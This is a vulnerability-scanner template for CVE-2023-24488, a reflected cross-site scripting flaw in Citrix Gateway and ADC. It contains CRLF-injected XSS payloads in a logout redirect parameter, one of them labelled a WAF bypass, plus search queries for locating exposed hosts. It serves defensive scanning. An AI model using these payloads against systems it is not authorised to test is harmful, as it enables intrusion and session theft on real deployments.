id: CVE-2023-24488

info:
  name: Citrix Gateway and Citrix ADC - Cross-Site Scripting
  author: johnk3r,DhiyaneshDk
  severity: medium
  description: |
    Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488
    - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24488
    - https://twitter.com/infosec_au/status/1674786106381070342
    - https://twitter.com/bxmbn/status/1675250259608449026
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24488
    cwe-id: CWE-79
    epss-score: 0.80907
    epss-percentile: 0.9958
    cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: gateway
    shodan-query:
      - title:"Citrix Gateway"
      - http.title:"citrix gateway"
    fofa-query: title="citrix gateway"
    google-query: intitle:"citrix gateway"
  tags: cve2023,cve,citrix,xss,adc,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E'
      - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <body x='&'onload="(alert)('citrix akamai bypass')">
          - <script>alert(document.domain)</script>
        condition: or

      - type: word
        part: body
        words:
          - "Content-Type: text/html"

      - type: status
        status:
          - 302
# digest: 490a00463044022065cb1b7964687aa5244cda5af69854fe94a6c1afc7aed245c929cd023f8dd8200220281a8bb328a0b2f66d2986ab5a28c6e4f8fb4ce6df2b8086f8cdf07b77d9e5ff:922c64590222798bb761d5b6d8e72950